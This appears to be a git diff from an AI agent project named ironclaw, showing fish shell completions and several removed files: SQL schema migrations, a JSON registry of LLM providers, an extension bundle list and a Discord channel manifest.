fish\t''
|
||||
powershell\t''
|
||||
elvish\t''"
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l job-id -d 'Job ID to execute' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l max-iterations -d 'Maximum iterations before stopping' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l job-id -d 'Job ID to execute' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l max-turns -d 'Maximum agentic turns for Claude Code' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l model -d 'Claude model to use (e.g. "sonnet", "opus")' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "run" -d 'Run the agent (default if no subcommand given)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "onboard" -d 'Interactive onboarding wizard'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "config" -d 'Manage configuration settings'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "tool" -d 'Manage WASM tools'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "memory" -d 'Query and manage workspace memory'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "service" -d 'Manage OS service (launchd / systemd)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "status" -d 'Show system health and diagnostics'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "completion" -d 'Generate shell completion scripts'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "init" -d 'Generate a default config.toml file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "list" -d 'List all settings and their current values'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "get" -d 'Get a specific setting value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "set" -d 'Set a setting value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "reset" -d 'Reset a setting to its default value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "path" -d 'Show the settings storage info'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "list" -d 'List installed tools'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "remove" -d 'Remove an installed tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "info" -d 'Show information about a tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "auth" -d 'Configure authentication for a tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "add" -d 'Add an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "remove" -d 'Remove an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "list" -d 'List configured MCP servers'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "test" -d 'Test connection to an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "toggle" -d 'Enable or disable an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "read" -d 'Read a file from the workspace'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "write" -d 'Write content to a workspace file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "tree" -d 'Show workspace directory tree'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "status" -d 'Show workspace status (document count, index health)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "list" -d 'List pending pairing requests'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "approve" -d 'Approve a pairing request by code'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "start" -d 'Start the installed service'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "stop" -d 'Stop the running service'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "status" -d 'Show service status'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 267 KiB After Width: | Height: | Size: 1.4 MiB |
-2285
File diff suppressed because it is too large
Load Diff
@@ -1,19 +0,0 @@
|
||||
-- Add wit_version column to wasm_tools for WIT interface version tracking
|
||||
ALTER TABLE wasm_tools ADD COLUMN IF NOT EXISTS wit_version TEXT NOT NULL DEFAULT '0.1.0';
|
||||
|
||||
-- Create wasm_channels table for DB-stored channel extensions
|
||||
CREATE TABLE IF NOT EXISTS wasm_channels (
|
||||
id UUID PRIMARY KEY,
|
||||
user_id TEXT NOT NULL,
|
||||
name TEXT NOT NULL,
|
||||
version TEXT NOT NULL DEFAULT '0.1.0',
|
||||
wit_version TEXT NOT NULL DEFAULT '0.1.0',
|
||||
description TEXT NOT NULL DEFAULT '',
|
||||
wasm_binary BYTEA NOT NULL,
|
||||
binary_hash BYTEA NOT NULL,
|
||||
capabilities_json TEXT NOT NULL DEFAULT '{}',
|
||||
status TEXT NOT NULL DEFAULT 'active',
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
CONSTRAINT unique_wasm_channel UNIQUE (user_id, name)
|
||||
);
|
||||
@@ -1,13 +0,0 @@
|
||||
-- Partial unique indexes to prevent duplicate singleton conversations.
|
||||
-- These guard against TOCTOU races in get_or_create_routine_conversation
|
||||
-- and get_or_create_heartbeat_conversation.
|
||||
|
||||
-- One routine conversation per user per routine_id.
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_conv_routine
|
||||
ON conversations (user_id, (metadata->>'routine_id'))
|
||||
WHERE metadata->>'routine_id' IS NOT NULL;
|
||||
|
||||
-- One heartbeat conversation per user.
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_conv_heartbeat
|
||||
ON conversations (user_id)
|
||||
WHERE metadata->>'thread_type' = 'heartbeat';
|
||||
@@ -1,7 +0,0 @@
|
||||
-- Add token budget tracking columns to agent_jobs.
|
||||
--
|
||||
-- Tracks max_tokens (configured limit per job) and total_tokens_used (running total)
|
||||
-- to enforce job-level token budgets and prevent budget bypass via user-supplied metadata.
|
||||
|
||||
ALTER TABLE agent_jobs ADD COLUMN max_tokens BIGINT NOT NULL DEFAULT 0;
|
||||
ALTER TABLE agent_jobs ADD COLUMN total_tokens_used BIGINT NOT NULL DEFAULT 0;
|
||||
@@ -1,43 +0,0 @@
|
||||
-- Allow embedding vectors of any dimension (not just 1536).
|
||||
-- This supports Ollama models (768-dim nomic-embed-text, 1024-dim mxbai-embed-large)
|
||||
-- alongside OpenAI models (1536-dim text-embedding-3-small, 3072-dim text-embedding-3-large).
|
||||
--
|
||||
-- NOTE: HNSW indexes require a fixed dimension, so we drop the index.
|
||||
-- Exact (sequential) cosine distance search still works without the index.
|
||||
-- For a personal assistant workspace the dataset is small enough that this
|
||||
-- has negligible impact on query latency.
|
||||
|
||||
-- Drop dependent views first
|
||||
DROP VIEW IF EXISTS chunks_pending_embedding;
|
||||
DROP VIEW IF EXISTS memory_documents_summary;
|
||||
|
||||
DROP INDEX IF EXISTS idx_memory_chunks_embedding;
|
||||
|
||||
ALTER TABLE memory_chunks
|
||||
ALTER COLUMN embedding TYPE vector
|
||||
USING embedding::vector;
|
||||
|
||||
-- Recreate the views
|
||||
CREATE VIEW memory_documents_summary AS
|
||||
SELECT
|
||||
d.id,
|
||||
d.user_id,
|
||||
d.path,
|
||||
d.created_at,
|
||||
d.updated_at,
|
||||
COUNT(c.id) as chunk_count,
|
||||
COUNT(c.embedding) as embedded_chunk_count
|
||||
FROM memory_documents d
|
||||
LEFT JOIN memory_chunks c ON c.document_id = d.id
|
||||
GROUP BY d.id;
|
||||
|
||||
CREATE VIEW chunks_pending_embedding AS
|
||||
SELECT
|
||||
c.id as chunk_id,
|
||||
c.document_id,
|
||||
d.user_id,
|
||||
d.path,
|
||||
LENGTH(c.content) as content_length
|
||||
FROM memory_chunks c
|
||||
JOIN memory_documents d ON d.id = c.document_id
|
||||
WHERE c.embedding IS NULL;
|
||||
-385
@@ -1,385 +0,0 @@
|
||||
[
|
||||
{
|
||||
"id": "openai",
|
||||
"aliases": [
|
||||
"open_ai"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"api_key_env": "OPENAI_API_KEY",
|
||||
"api_key_required": true,
|
||||
"base_url_env": "OPENAI_BASE_URL",
|
||||
"model_env": "OPENAI_MODEL",
|
||||
"default_model": "gpt-5-mini",
|
||||
"description": "OpenAI GPT models (direct API)",
|
||||
"unsupported_params": ["temperature"],
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_openai_api_key",
|
||||
"key_url": "https://platform.openai.com/api-keys",
|
||||
"display_name": "OpenAI",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "anthropic",
|
||||
"aliases": [
|
||||
"claude"
|
||||
],
|
||||
"protocol": "anthropic",
|
||||
"api_key_env": "ANTHROPIC_API_KEY",
|
||||
"api_key_required": true,
|
||||
"base_url_env": "ANTHROPIC_BASE_URL",
|
||||
"model_env": "ANTHROPIC_MODEL",
|
||||
"default_model": "claude-sonnet-4-20250514",
|
||||
"description": "Anthropic Claude models (direct API)",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_anthropic_api_key",
|
||||
"key_url": "https://console.anthropic.com/settings/keys",
|
||||
"display_name": "Anthropic",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "ollama",
|
||||
"aliases": [],
|
||||
"protocol": "ollama",
|
||||
"default_base_url": "http://localhost:11434",
|
||||
"base_url_env": "OLLAMA_BASE_URL",
|
||||
"model_env": "OLLAMA_MODEL",
|
||||
"default_model": "llama3",
|
||||
"description": "Local Ollama instance (no API key needed)",
|
||||
"setup": {
|
||||
"kind": "ollama",
|
||||
"display_name": "Ollama",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "openai_compatible",
|
||||
"aliases": [
|
||||
"openai-compatible",
|
||||
"compatible"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"base_url_env": "LLM_BASE_URL",
|
||||
"base_url_required": true,
|
||||
"api_key_env": "LLM_API_KEY",
|
||||
"api_key_required": false,
|
||||
"model_env": "LLM_MODEL",
|
||||
"default_model": "default",
|
||||
"extra_headers_env": "LLM_EXTRA_HEADERS",
|
||||
"description": "Custom OpenAI-compatible endpoint (vLLM, LiteLLM, etc.)",
|
||||
"setup": {
|
||||
"kind": "open_ai_compatible",
|
||||
"secret_name": "llm_compatible_api_key",
|
||||
"display_name": "OpenAI-compatible",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "tinfoil",
|
||||
"aliases": [],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://inference.tinfoil.sh/v1",
|
||||
"api_key_env": "TINFOIL_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "TINFOIL_MODEL",
|
||||
"default_model": "kimi-k2-5",
|
||||
"description": "Tinfoil private inference (hardware-attested TEE)",
|
||||
"unsupported_params": ["temperature"],
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_tinfoil_api_key",
|
||||
"key_url": "https://tinfoil.sh",
|
||||
"display_name": "Tinfoil",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "openrouter",
|
||||
"aliases": [
|
||||
"open_router"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://openrouter.ai/api/v1",
|
||||
"api_key_env": "OPENROUTER_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "OPENROUTER_MODEL",
|
||||
"default_model": "openai/gpt-4o",
|
||||
"description": "OpenRouter multi-provider gateway (200+ models)",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_openrouter_api_key",
|
||||
"key_url": "https://openrouter.ai/settings/keys",
|
||||
"display_name": "OpenRouter",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "groq",
|
||||
"aliases": [],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.groq.com/openai/v1",
|
||||
"api_key_env": "GROQ_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "GROQ_MODEL",
|
||||
"default_model": "llama-3.3-70b-versatile",
|
||||
"description": "Groq LPU inference (ultra-fast)",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_groq_api_key",
|
||||
"key_url": "https://console.groq.com/keys",
|
||||
"display_name": "Groq",
|
||||
"can_list_models": true,
|
||||
"models_filter": "chat"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "nvidia",
|
||||
"aliases": [
|
||||
"nvidia_nim",
|
||||
"nim"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://integrate.api.nvidia.com/v1",
|
||||
"api_key_env": "NVIDIA_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "NVIDIA_MODEL",
|
||||
"default_model": "meta/llama-3.3-70b-instruct",
|
||||
"description": "NVIDIA NIM API (high-performance inference)",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_nvidia_api_key",
|
||||
"key_url": "https://build.nvidia.com",
|
||||
"display_name": "NVIDIA NIM",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "venice",
|
||||
"aliases": [
|
||||
"venice_ai",
|
||||
"veniceai"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.venice.ai/api/v1",
|
||||
"api_key_env": "VENICE_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "VENICE_MODEL",
|
||||
"default_model": "llama-3.3-70b",
|
||||
"description": "Venice.ai privacy-focused inference",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_venice_api_key",
|
||||
"key_url": "https://venice.ai/settings/api",
|
||||
"display_name": "Venice.ai",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "together",
|
||||
"aliases": [
|
||||
"together_ai",
|
||||
"togetherai"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.together.xyz/v1",
|
||||
"api_key_env": "TOGETHER_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "TOGETHER_MODEL",
|
||||
"default_model": "meta-llama/Llama-3-70b-chat-hf",
|
||||
"description": "Together AI inference",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_together_api_key",
|
||||
"key_url": "https://api.together.ai/settings/api-keys",
|
||||
"display_name": "Together AI",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "fireworks",
|
||||
"aliases": [
|
||||
"fireworks_ai"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.fireworks.ai/inference/v1",
|
||||
"api_key_env": "FIREWORKS_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "FIREWORKS_MODEL",
|
||||
"default_model": "accounts/fireworks/models/llama-v3p1-70b-instruct",
|
||||
"description": "Fireworks AI inference",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_fireworks_api_key",
|
||||
"key_url": "https://fireworks.ai/api-keys",
|
||||
"display_name": "Fireworks AI",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "deepseek",
|
||||
"aliases": [
|
||||
"deep_seek"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.deepseek.com/v1",
|
||||
"api_key_env": "DEEPSEEK_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "DEEPSEEK_MODEL",
|
||||
"default_model": "deepseek-chat",
|
||||
"description": "DeepSeek inference API",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_deepseek_api_key",
|
||||
"key_url": "https://platform.deepseek.com/api_keys",
|
||||
"display_name": "DeepSeek",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "cerebras",
|
||||
"aliases": [],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.cerebras.ai/v1",
|
||||
"api_key_env": "CEREBRAS_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "CEREBRAS_MODEL",
|
||||
"default_model": "llama-3.3-70b",
|
||||
"description": "Cerebras wafer-scale inference",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_cerebras_api_key",
|
||||
"key_url": "https://cloud.cerebras.ai",
|
||||
"display_name": "Cerebras",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "sambanova",
|
||||
"aliases": [
|
||||
"samba_nova"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.sambanova.ai/v1",
|
||||
"api_key_env": "SAMBANOVA_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "SAMBANOVA_MODEL",
|
||||
"default_model": "Meta-Llama-3.1-70B-Instruct",
|
||||
"description": "SambaNova Cloud inference",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_sambanova_api_key",
|
||||
"key_url": "https://cloud.sambanova.ai/apis",
|
||||
"display_name": "SambaNova",
|
||||
"can_list_models": false
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "gemini",
|
||||
"aliases": [
|
||||
"google_gemini",
|
||||
"google"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://generativelanguage.googleapis.com/v1beta/openai",
|
||||
"api_key_env": "GEMINI_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "GEMINI_MODEL",
|
||||
"default_model": "gemini-2.5-flash",
|
||||
"description": "Google Gemini (via OpenAI-compatible endpoint)",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_gemini_api_key",
|
||||
"key_url": "https://aistudio.google.com/app/apikey",
|
||||
"display_name": "Google Gemini",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "ionet",
|
||||
"aliases": [
|
||||
"io_net",
|
||||
"io.net"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.intelligence.io.solutions/api/v1",
|
||||
"api_key_env": "IONET_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "IONET_MODEL",
|
||||
"default_model": "deepseek-coder-v2-instruct",
|
||||
"description": "io.net Intelligence API",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_ionet_api_key",
|
||||
"key_url": "https://cloud.io.net/intelligence",
|
||||
"display_name": "io.net",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "mistral",
|
||||
"aliases": [
|
||||
"mistral_ai",
|
||||
"mistralai"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://api.mistral.ai/v1",
|
||||
"api_key_env": "MISTRAL_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "MISTRAL_MODEL",
|
||||
"default_model": "mistral-large-latest",
|
||||
"description": "Mistral AI API",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_mistral_api_key",
|
||||
"key_url": "https://console.mistral.ai/api-keys",
|
||||
"display_name": "Mistral",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "yandex",
|
||||
"aliases": [
|
||||
"yandex_ai_studio",
|
||||
"yandexgpt",
|
||||
"yandex_gpt"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"default_base_url": "https://ai.api.cloud.yandex.net/v1",
|
||||
"api_key_env": "YANDEX_API_KEY",
|
||||
"api_key_required": true,
|
||||
"model_env": "YANDEX_MODEL",
|
||||
"extra_headers_env": "YANDEX_EXTRA_HEADERS",
|
||||
"default_model": "yandexgpt-lite",
|
||||
"description": "Yandex AI Studio (YandexGPT)",
|
||||
"setup": {
|
||||
"kind": "api_key",
|
||||
"secret_name": "llm_yandex_api_key",
|
||||
"key_url": "https://aistudio.yandex.ru/platform/folders/",
|
||||
"display_name": "Yandex AI Studio",
|
||||
"can_list_models": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "cloudflare",
|
||||
"aliases": [
|
||||
"cloudflare_ai",
|
||||
"cf_ai"
|
||||
],
|
||||
"protocol": "open_ai_completions",
|
||||
"api_key_env": "CLOUDFLARE_API_KEY",
|
||||
"api_key_required": true,
|
||||
"base_url_env": "CLOUDFLARE_BASE_URL",
|
||||
"model_env": "CLOUDFLARE_MODEL",
|
||||
"default_model": "@cf/meta/llama-3.3-70b-instruct-fp8-fast",
|
||||
"description": "Cloudflare Workers AI",
|
||||
"setup": {
|
||||
"kind": "open_ai_compatible",
|
||||
"secret_name": "llm_cloudflare_api_key",
|
||||
"display_name": "Cloudflare Workers AI",
|
||||
"can_list_models": false
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -1,42 +0,0 @@
|
||||
{
|
||||
"bundles": {
|
||||
"google": {
|
||||
"display_name": "Google Suite",
|
||||
"description": "Gmail, Calendar, Drive, Docs, Sheets, Slides",
|
||||
"extensions": [
|
||||
"tools/gmail",
|
||||
"tools/google-calendar",
|
||||
"tools/google-docs",
|
||||
"tools/google-drive",
|
||||
"tools/google-sheets",
|
||||
"tools/google-slides"
|
||||
],
|
||||
"shared_auth": "google_oauth_token"
|
||||
},
|
||||
"messaging": {
|
||||
"display_name": "Messaging Channels",
|
||||
"description": "Discord, Telegram, Slack, and WhatsApp channels",
|
||||
"extensions": [
|
||||
"channels/discord",
|
||||
"channels/telegram",
|
||||
"channels/slack",
|
||||
"channels/whatsapp"
|
||||
],
|
||||
"shared_auth": null
|
||||
},
|
||||
"default": {
|
||||
"display_name": "Recommended Set",
|
||||
"description": "Core tools and channels for a productive setup",
|
||||
"extensions": [
|
||||
"tools/github",
|
||||
"tools/gmail",
|
||||
"tools/google-calendar",
|
||||
"tools/google-drive",
|
||||
"tools/slack-tool",
|
||||
"channels/telegram",
|
||||
"channels/slack"
|
||||
],
|
||||
"shared_auth": null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,37 +0,0 @@
|
||||
{
|
||||
"name": "discord",
|
||||
"display_name": "Discord Channel",
|
||||
"kind": "channel",
|
||||
"version": "0.2.0",
|
||||
"wit_version": "0.3.0",
|
||||
"description": "Talk to your agent in Discord",
|
||||
"keywords": [
|
||||
"messaging",
|
||||
"chat",
|
||||
"discord",
|
||||
"bot"
|
||||
],
|
||||
"source": {
|
||||
"dir": "channels-src/discord",
|
||||
"capabilities": "discord.capabilities.json",
|
||||
"crate_name": "discord-channel"
|
||||
},
|
||||
